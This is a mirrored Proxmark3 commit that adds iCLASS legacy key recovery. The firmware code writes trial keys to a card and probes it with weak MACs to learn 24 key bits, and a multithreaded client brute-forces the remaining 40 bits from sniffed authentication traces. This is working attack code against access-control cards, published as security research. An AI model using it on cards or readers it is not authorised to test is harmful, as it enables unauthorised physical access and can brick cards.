mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-14 10:37:23 -07:00
Merge pull request #2430 from Antiklesys/master
Iclass Legacy Raw Key Recovery Function
This commit is contained in:
commit
2208d4e3e6
10 changed files with 519 additions and 0 deletions
|
@ -15,6 +15,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
|
|||
- Added MFC Key for swimming pool cards in Reykjavík Iceland (@dandri)
|
||||
- Added key for Orkan keyfobs (@dandri)
|
||||
- Added key for Atlantsolía keyfobs (@dandri)
|
||||
- Added `hf iclass legbrute` this function allows to bruteforce 40/64 k1 bits of an iclass card to recover the raw key used(@antiklesys).
|
||||
- Added `hf iclass legrec` this function allows to recover 24/64 k1 bits of an iclass card (@antiklesys).
|
||||
## [Aurora.4.18589][2024-05-28]
|
||||
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
|
||||
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)
|
||||
|
|
|
@ -2061,6 +2061,10 @@ static void PacketReceived(PacketCommandNG *packet) {
|
|||
iClass_Restore((iclass_restore_req_t *)packet->data.asBytes);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_ICLASS_RECOVER: {
|
||||
iClass_Recover((iclass_recover_req_t *)packet->data.asBytes);
|
||||
break;
|
||||
}
|
||||
case CMD_HF_ICLASS_CREDIT_EPURSE: {
|
||||
iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes);
|
||||
break;
|
||||
|
|
189
armsrc/iclass.c
189
armsrc/iclass.c
|
@ -2152,3 +2152,192 @@ out:
|
|||
reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) {
|
||||
uint32_t carry = index;
|
||||
memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
|
||||
|
||||
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
|
||||
uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry
|
||||
keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0
|
||||
|
||||
carry >>= 3; // Shift right by 3 bits for the next byte
|
||||
if (carry == 0) {
|
||||
// If no more carry, break early to avoid unnecessary loops
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void iClass_Recover(iclass_recover_req_t *msg) {
|
||||
|
||||
bool shallow_mod = false;
|
||||
|
||||
LED_A_ON();
|
||||
|
||||
Iso15693InitReader();
|
||||
//Authenticate with AA2 with the standard key to get the AA2 mac
|
||||
//Step0 Card Select Routine
|
||||
|
||||
uint32_t eof_time = 0;
|
||||
picopass_hdr_t hdr = {0};
|
||||
bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod);
|
||||
if (res == false) {
|
||||
goto out;
|
||||
}
|
||||
|
||||
//Step1 Authenticate with AA2 using K2
|
||||
|
||||
uint8_t mac2[4] = {0};
|
||||
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||
res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2);
|
||||
if (res == false) {
|
||||
goto out;
|
||||
}
|
||||
|
||||
uint8_t div_key2[8] = {0};
|
||||
memcpy(div_key2, hdr.key_c, 8);
|
||||
|
||||
//cycle reader to reset cypher state and be able to authenticate with k1 trace
|
||||
switch_off();
|
||||
Iso15693InitReader();
|
||||
|
||||
//Step0 Card Select Routine
|
||||
|
||||
eof_time = 0;
|
||||
//hdr = {0};
|
||||
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
|
||||
if (res == false) {
|
||||
goto out;
|
||||
}
|
||||
|
||||
//Step1 Authenticate with AA1 using trace
|
||||
|
||||
uint8_t mac1[4] = {0};
|
||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
|
||||
if (res == false) {
|
||||
goto out;
|
||||
}
|
||||
|
||||
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
|
||||
uint8_t blockno = 24;
|
||||
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
|
||||
AddCrc(cmd_read + 1, 1);
|
||||
uint8_t resp[10];
|
||||
|
||||
res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod);
|
||||
|
||||
static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0xAB, 0x47, 0x4D, 0xA0 }, //Expected mac when last 3 bits of each byte are: 011
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0xF6, 0xCF, 0x43, 0x36 }, //Expected mac when last 3 bits of each byte are: 100
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0x59, 0x7F, 0x4B, 0x58 }, //Expected mac when last 3 bits of each byte are: 101
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
|
||||
{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
|
||||
};
|
||||
//Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number
|
||||
static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215};
|
||||
|
||||
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte.
|
||||
If we concatenate the last three bits of each key byte, we have a 24 bits long binary string.
|
||||
If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values
|
||||
Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */
|
||||
|
||||
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint32_t index = 1;
|
||||
int bits_found = -1;
|
||||
|
||||
//START LOOP
|
||||
while (bits_found == -1){
|
||||
|
||||
//Step3 Calculate New Key
|
||||
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE];
|
||||
uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE];
|
||||
uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE];
|
||||
generate_single_key_block_inverted(zero_key, index, genkeyblock);
|
||||
|
||||
//NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED
|
||||
//xor the new key against the previously generated key so that we only update the difference
|
||||
if(index != 0){
|
||||
generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old);
|
||||
for (int i = 0; i < 8 ; i++) {
|
||||
xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i];
|
||||
}
|
||||
}else{
|
||||
memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE);
|
||||
}
|
||||
|
||||
//Step4 Calculate New Mac
|
||||
|
||||
bool use_mac = true;
|
||||
uint8_t wb[9] = {0};
|
||||
blockno = 3;
|
||||
wb[0] = blockno;
|
||||
memcpy(wb + 1, xorkeyblock, 8);
|
||||
|
||||
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
||||
|
||||
//Step5 Perform Write
|
||||
|
||||
if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) {
|
||||
Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
|
||||
} else {
|
||||
Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
|
||||
goto out;
|
||||
}
|
||||
//Step6 Perform 8 authentication attempts
|
||||
|
||||
for (int i = 0; i < 8 ; ++i) {
|
||||
//need to craft the authentication payload accordingly
|
||||
memcpy(msg->req.key, iclass_mac_table[i], 8);
|
||||
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
|
||||
if (res == true) {
|
||||
bits_found = iclass_mac_table_bit_values[i] ^ index;
|
||||
Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);
|
||||
Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]);
|
||||
Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found);
|
||||
goto restore;
|
||||
}
|
||||
}
|
||||
|
||||
}//end while
|
||||
|
||||
|
||||
restore:
|
||||
;//empty statement for compilation
|
||||
uint8_t partialkey[PICOPASS_BLOCK_SIZE];
|
||||
convertToHexArray(bits_found, partialkey);
|
||||
|
||||
for (int i = 0; i < 8; i++){
|
||||
Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialkey);
|
||||
}
|
||||
|
||||
uint8_t resetkey[PICOPASS_BLOCK_SIZE];
|
||||
convertToHexArray(index, resetkey);
|
||||
|
||||
//Calculate reset Mac
|
||||
|
||||
bool use_mac = true;
|
||||
uint8_t wb[9] = {0};
|
||||
blockno = 3;
|
||||
wb[0] = blockno;
|
||||
memcpy(wb + 1, resetkey, 8);
|
||||
|
||||
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
||||
if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) {
|
||||
Dbprintf("Restore of Original Key [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
|
||||
} else {
|
||||
Dbprintf("Restore of Original Key [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
|
||||
}
|
||||
switch_off();
|
||||
|
||||
|
||||
out:
|
||||
|
||||
switch_off();
|
||||
|
||||
|
||||
}
|
|
@ -70,4 +70,7 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui
|
|||
|
||||
uint8_t get_pagemap(const picopass_hdr_t *hdr);
|
||||
void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod);
|
||||
|
||||
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock);
|
||||
void iClass_Recover(iclass_recover_req_t *msg);
|
||||
#endif
|
||||
|
|
|
@ -395,3 +395,33 @@ uint32_t flash_size_from_cidr(uint32_t cidr) {
|
|||
uint32_t get_flash_size(void) {
|
||||
return flash_size_from_cidr(*AT91C_DBGU_CIDR);
|
||||
}
|
||||
|
||||
// Function to convert an unsigned int to binary string
|
||||
void intToBinary(uint8_t num, char *binaryStr, int size) {
|
||||
binaryStr[size] = '\0'; // Null-terminate the string
|
||||
for (int i = size - 1; i >= 0; i--) {
|
||||
binaryStr[i] = (num % 2) ? '1' : '0';
|
||||
num /= 2;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to convert a binary string to hexadecimal
|
||||
uint8_t binaryToHex(char *binaryStr) {
|
||||
return (uint8_t)strtoul(binaryStr, NULL, 2);
|
||||
}
|
||||
|
||||
// Function to convert an unsigned int to an array of hex values
|
||||
void convertToHexArray(uint8_t num, uint8_t *partialkey) {
|
||||
char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator
|
||||
|
||||
// Convert the number to binary string
|
||||
intToBinary(num, binaryStr, 24);
|
||||
|
||||
// Split the binary string into groups of 3 and convert to hex
|
||||
for (int i = 0; i < 8 ; i++) {
|
||||
char group[4];
|
||||
strncpy(group, binaryStr + i * 3, 3);
|
||||
group[3] = '\0'; // Null-terminate the group string
|
||||
partialkey[i] = binaryToHex(group);
|
||||
}
|
||||
}
|
|
@ -88,6 +88,10 @@ int hex2binarray(char *target, char *source);
|
|||
int hex2binarray_n(char *target, const char *source, int sourcelen);
|
||||
int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex);
|
||||
|
||||
void intToBinary(uint8_t num, char *binaryStr, int size);
|
||||
uint8_t binaryToHex(char *binaryStr);
|
||||
void convertToHexArray(uint8_t num, uint8_t *partialKey);
|
||||
|
||||
void LED(int led, int ms);
|
||||
void LEDsoff(void);
|
||||
void SpinOff(uint32_t pause);
|
||||
|
|
|
@ -3842,6 +3842,284 @@ void picopass_elite_nextKey(uint8_t* key) {
|
|||
memcpy(key, key_state, 8);
|
||||
}
|
||||
|
||||
static int CmdHFiClassRecover(uint8_t key[8]) {
|
||||
|
||||
uint32_t payload_size = sizeof(iclass_recover_req_t);
|
||||
uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0};
|
||||
memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE);
|
||||
iclass_recover_req_t *payload = calloc(1, payload_size);
|
||||
payload->req.use_raw = true;
|
||||
payload->req.use_elite = false;
|
||||
payload->req.use_credit_key = false;
|
||||
payload->req.use_replay = true;
|
||||
payload->req.send_reply = true;
|
||||
payload->req.do_auth = true;
|
||||
payload->req.shallow_mod = false;
|
||||
payload->req2.use_raw = false;
|
||||
payload->req2.use_elite = false;
|
||||
payload->req2.use_credit_key = true;
|
||||
payload->req2.use_replay = false;
|
||||
payload->req2.send_reply = true;
|
||||
payload->req2.do_auth = true;
|
||||
payload->req2.shallow_mod = false;
|
||||
memcpy(payload->req.key, key, 8);
|
||||
memcpy(payload->req2.key, aa2_standard_key, 8);
|
||||
|
||||
PrintAndLogEx(INFO, "Recover started...");
|
||||
|
||||
PacketResponseNG resp;
|
||||
clearCommandBuffer();
|
||||
SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size);
|
||||
|
||||
WaitForResponse(CMD_HF_ICLASS_RECOVER, &resp);
|
||||
|
||||
if (resp.status == PM3_SUCCESS) {
|
||||
PrintAndLogEx(SUCCESS, "iCLASS Recover " _GREEN_("successful"));
|
||||
} else {
|
||||
PrintAndLogEx(WARNING, "iCLASS Recover " _RED_("failed"));
|
||||
}
|
||||
|
||||
free(payload);
|
||||
return resp.status;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
uint32_t start_index;
|
||||
uint32_t keycount;
|
||||
const uint8_t *startingKey;
|
||||
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE];
|
||||
} ThreadData;
|
||||
|
||||
void *generate_key_blocks(void *arg) {
|
||||
ThreadData *data = (ThreadData *)arg;
|
||||
uint32_t start_index = data->start_index;
|
||||
uint32_t keycount = data->keycount;
|
||||
const uint8_t *startingKey = data->startingKey;
|
||||
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE] = data->keyBlock;
|
||||
|
||||
for (uint32_t i = 0; i < keycount; i++) {
|
||||
uint32_t carry = start_index + i;
|
||||
memcpy(keyBlock[i], startingKey, PICOPASS_BLOCK_SIZE);
|
||||
|
||||
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
|
||||
uint8_t increment_value = (carry & 0x1F) << 3; // Use only the first 5 bits of carry
|
||||
keyBlock[i][j] = (keyBlock[i][j] & 0x07) | increment_value; // Preserve the last three bits
|
||||
|
||||
carry >>= 5; // Shift right by 5 bits for the next byte
|
||||
if (carry == 0) {
|
||||
// If no more carry, break early to avoid unnecessary loops
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int CmdHFiClassLegRecLookUp(const char *Cmd) {
|
||||
|
||||
//Standalone Command Start
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf iclass legbrute",
|
||||
"This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.",
|
||||
"hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225"
|
||||
);
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"),
|
||||
arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"),
|
||||
arg_str1(NULL, "macs", "<hex>", "MACs"),
|
||||
arg_str1(NULL, "pk", "<hex>", "Partial Key"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, false);
|
||||
|
||||
int csn_len = 0;
|
||||
uint8_t csn[8] = {0};
|
||||
CLIGetHexWithReturn(ctx, 1, csn, &csn_len);
|
||||
|
||||
if (csn_len > 0) {
|
||||
if (csn_len != 8) {
|
||||
PrintAndLogEx(ERR, "CSN is incorrect length");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
int epurse_len = 0;
|
||||
uint8_t epurse[8] = {0};
|
||||
CLIGetHexWithReturn(ctx, 2, epurse, &epurse_len);
|
||||
|
||||
if (epurse_len > 0) {
|
||||
if (epurse_len != 8) {
|
||||
PrintAndLogEx(ERR, "ePurse is incorrect length");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
int macs_len = 0;
|
||||
uint8_t macs[8] = {0};
|
||||
CLIGetHexWithReturn(ctx, 3, macs, &macs_len);
|
||||
|
||||
if (macs_len > 0) {
|
||||
if (macs_len != 8) {
|
||||
PrintAndLogEx(ERR, "MAC is incorrect length");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
int startingkey_len = 0;
|
||||
uint8_t startingKey[8] = {0};
|
||||
CLIGetHexWithReturn(ctx, 4, startingKey, &startingkey_len);
|
||||
|
||||
if (startingkey_len > 0) {
|
||||
if (startingkey_len != 8) {
|
||||
PrintAndLogEx(ERR, "Partial Key is incorrect length");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
CLIParserFree(ctx);
|
||||
//Standalone Command End
|
||||
|
||||
uint8_t CCNR[12];
|
||||
uint8_t MAC_TAG[4] = {0, 0, 0, 0};
|
||||
|
||||
// Copy CCNR and MAC_TAG
|
||||
memcpy(CCNR, epurse, 8);
|
||||
memcpy(CCNR + 8, macs, 4);
|
||||
memcpy(MAC_TAG, macs + 4, 4);
|
||||
|
||||
PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, 8));
|
||||
PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, 8));
|
||||
PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, 8));
|
||||
PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR)));
|
||||
PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG)));
|
||||
PrintAndLogEx(SUCCESS, "Starting Key: %s", sprint_hex(startingKey, 8));
|
||||
|
||||
uint32_t keycount = 1000000;
|
||||
uint32_t keys_per_thread = 200000;
|
||||
uint32_t num_threads = keycount / keys_per_thread;
|
||||
pthread_t threads[num_threads];
|
||||
ThreadData thread_data[num_threads];
|
||||
iclass_prekey_t *prekey = NULL;
|
||||
iclass_prekey_t lookup;
|
||||
iclass_prekey_t *item = NULL;
|
||||
|
||||
memcpy(lookup.mac, MAC_TAG, 4);
|
||||
|
||||
uint32_t block_index = 0;
|
||||
|
||||
while (item == NULL) {
|
||||
for (uint32_t t = 0; t < num_threads; t++) {
|
||||
thread_data[t].start_index = block_index * keycount + t * keys_per_thread;
|
||||
thread_data[t].keycount = keys_per_thread;
|
||||
thread_data[t].startingKey = startingKey;
|
||||
thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE);
|
||||
|
||||
if (thread_data[t].keyBlock == NULL) {
|
||||
PrintAndLogEx(ERR, "Memory allocation failed for keyBlock in thread %d.", t);
|
||||
for (uint32_t i = 0; i < t; i++) {
|
||||
free(thread_data[i].keyBlock);
|
||||
}
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
pthread_create(&threads[t], NULL, generate_key_blocks, (void *)&thread_data[t]);
|
||||
}
|
||||
|
||||
for (uint32_t t = 0; t < num_threads; t++) {
|
||||
pthread_join(threads[t], NULL);
|
||||
}
|
||||
|
||||
if (prekey == NULL) {
|
||||
prekey = calloc(keycount, sizeof(iclass_prekey_t));
|
||||
} else {
|
||||
prekey = realloc(prekey, (block_index + 1) * keycount * sizeof(iclass_prekey_t));
|
||||
}
|
||||
|
||||
if (prekey == NULL) {
|
||||
PrintAndLogEx(ERR, "Memory allocation failed for prekey.");
|
||||
for (uint32_t t = 0; t < num_threads; t++) {
|
||||
free(thread_data[t].keyBlock);
|
||||
}
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "Generating diversified keys...");
|
||||
for (uint32_t t = 0; t < num_threads; t++) {
|
||||
GenerateMacKeyFrom(csn, CCNR, true, false, (uint8_t *)thread_data[t].keyBlock, keys_per_thread, prekey + (block_index * keycount) + (t * keys_per_thread));
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "Sorting...");
|
||||
|
||||
// Sort mac list
|
||||
qsort(prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
|
||||
|
||||
PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT");
|
||||
|
||||
// Binary search
|
||||
item = (iclass_prekey_t *)bsearch(&lookup, prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
|
||||
|
||||
for (uint32_t t = 0; t < num_threads; t++) {
|
||||
free(thread_data[t].keyBlock);
|
||||
}
|
||||
|
||||
block_index++;
|
||||
}
|
||||
|
||||
if (item != NULL) {
|
||||
PrintAndLogEx(SUCCESS, "Found valid RAW key " _GREEN_("%s"), sprint_hex(item->key, 8));
|
||||
}
|
||||
|
||||
free(prekey);
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
static int CmdHFiClassLegacyRecover(const char *Cmd) {
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf iclass legrec",
|
||||
"Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!",
|
||||
"hf iclass legrec --macs 0000000089cb984b"
|
||||
);
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_str1(NULL, "macs", "<hex>", "MACs"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, false);
|
||||
|
||||
int macs_len = 0;
|
||||
uint8_t macs[8] = {0};
|
||||
CLIGetHexWithReturn(ctx, 1, macs, &macs_len);
|
||||
|
||||
if (macs_len > 0) {
|
||||
if (macs_len != 8) {
|
||||
PrintAndLogEx(ERR, "MAC is incorrect length");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
CmdHFiClassRecover(macs);
|
||||
|
||||
PrintAndLogEx(WARNING, _YELLOW_("If the process completed, you can now run 'hf iclass legrecbrute' with the partial key found."));
|
||||
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
return PM3_SUCCESS;
|
||||
|
||||
}
|
||||
|
||||
static int CmdHFiClassLookUp(const char *Cmd) {
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf iclass lookup",
|
||||
|
@ -4738,6 +5016,8 @@ static command_t CommandTable[] = {
|
|||
{"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"},
|
||||
{"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"},
|
||||
{"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"},
|
||||
{"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Attempts to recover the standard key of a legacy card"},
|
||||
{"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial raw key"},
|
||||
{"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"},
|
||||
{"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"},
|
||||
{"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"},
|
||||
|
|
|
@ -42,4 +42,5 @@ void picopass_elite_reset(void);
|
|||
uint32_t picopass_elite_rng(void);
|
||||
uint32_t picopass_elite_lcg(void);
|
||||
uint8_t picopass_elite_nextByte(void);
|
||||
void *generate_key_blocks(void *arg);
|
||||
#endif
|
||||
|
|
|
@ -105,6 +105,11 @@ typedef struct {
|
|||
iclass_restore_item_t blocks[];
|
||||
} PACKED iclass_restore_req_t;
|
||||
|
||||
typedef struct {
|
||||
iclass_auth_req_t req;
|
||||
iclass_auth_req_t req2;
|
||||
} PACKED iclass_recover_req_t;
|
||||
|
||||
typedef struct iclass_premac {
|
||||
uint8_t mac[4];
|
||||
} PACKED iclass_premac_t;
|
||||
|
|
|
@ -630,6 +630,7 @@ typedef struct {
|
|||
#define CMD_HF_ICLASS_CHKKEYS 0x039A
|
||||
#define CMD_HF_ICLASS_RESTORE 0x039B
|
||||
#define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C
|
||||
#define CMD_HF_ICLASS_RECOVER 0x039D
|
||||
|
||||
|
||||
// For ISO1092 / FeliCa
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue